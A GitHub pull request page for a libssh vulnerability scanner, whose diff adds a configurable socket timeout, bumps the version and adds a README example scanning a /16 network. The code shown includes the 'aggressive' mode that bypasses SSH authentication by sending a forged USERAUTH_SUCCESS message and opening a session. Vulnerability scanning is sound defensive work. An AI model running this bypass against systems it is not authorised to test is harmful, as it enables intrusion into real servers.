Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fixing timeout; timeout is now also configurable #18

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Fixing timeout; timeout is now also configurable #18

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions README.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -29,3 +29,10 @@ Run `pip install -r requirements.txt` within the cloned libssh-scanner directory
-v, --version show program's version number and exit
-p PORT, --port PORT Set port of SSH service
-a, --aggressive Identify vulnerable hosts by bypassing authentication
-t TIMEOUT, --timeout Set socket timeout

## Example usage:

Scan local network on port 23:

python libsshscan.py -a 192.168.0.0/16 -p 23
22 changes: 11 additions & 11 deletions libsshscan.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
import paramiko
from six import text_type

VERSION = "1.0.4"
VERSION = "1.0.5"


class colors(object):
Expand Down Expand Up @@ -46,10 +46,10 @@ def pexception(ip, port, banner):
red=colors.red, white=colors.normal, ipaddr=ip, port=port, banner=banner.strip()))


def passive(ip, port): # banner grab to verify vulnerable host
def passive(ip, port, timeout=0.5): # banner grab to verify vulnerable host
try:
s = socket.create_connection((ip, port), timeout=0.50000)
s.settimeout(None)
s = socket.create_connection((ip, port), timeout=timeout)
s.settimeout(timeout)
banner = s.recv(1024)
s.close()
return banner.split(b"\n")[0]
Expand All @@ -58,25 +58,24 @@ def passive(ip, port): # banner grab to verify vulnerable host
return ""


def aggressive(ip, port, banner): # bypass auth to verify vulnerable host
def aggressive(ip, port, banner, timeout=0.5): # bypass auth to verify vulnerable host
try:
s = socket.create_connection((ip, port), timeout=0.50000)
s.settimeout(None)
s = socket.create_connection((ip, port), timeout=timeout)
s.settimeout(timeout)

msg = paramiko.message.Message()
t = paramiko.transport.Transport(s)
t.start_client()

msg.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
t._send_message(msg)
c = t.open_session(timeout=0.50000)
c = t.open_session(timeout=timeout)
s.close()
pvulnerable(ip, port, banner)
except (socket.timeout, socket.error) as e:
ptimeout(ip, port)
except paramiko.SSHException as e:
pstatus(ip, port, banner)
#print e
except Exception as e:
pexception(ip, port, banner)

Expand All @@ -90,6 +89,7 @@ def aggressive(ip, port, banner): # bypass auth to verify vulnerable host
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
parser.add_argument("-a", "--aggressive", action="store_true",
help="Identify vulnerable hosts by bypassing authentication")
parser.add_argument('-t', '--timeout', default=0.5, type=float, help="Set socket timeout")

if len(sys.argv) == 1:
parser.print_help()
Expand All @@ -116,10 +116,10 @@ def aggressive(ip, port, banner): # bypass auth to verify vulnerable host
if args.aggressive:
paramiko.util.log_to_file("paramiko.log")
for ip in ips:
aggressive(ip, int(args.port), passive(ip, int(args.port)))
aggressive(ip, int(args.port), passive(ip, int(args.port), timeout=args.timeout), timeout=args.timeout)
else: # banner grab
for ip in ips:
banner = passive(ip, int(args.port)) # banner
banner = passive(ip, int(args.port), timeout=args.timeout) # banner
if banner:
# vulnerable
if any(version in banner for version in [b"libssh-0.6", b"libssh_0.6"]):
Expand Down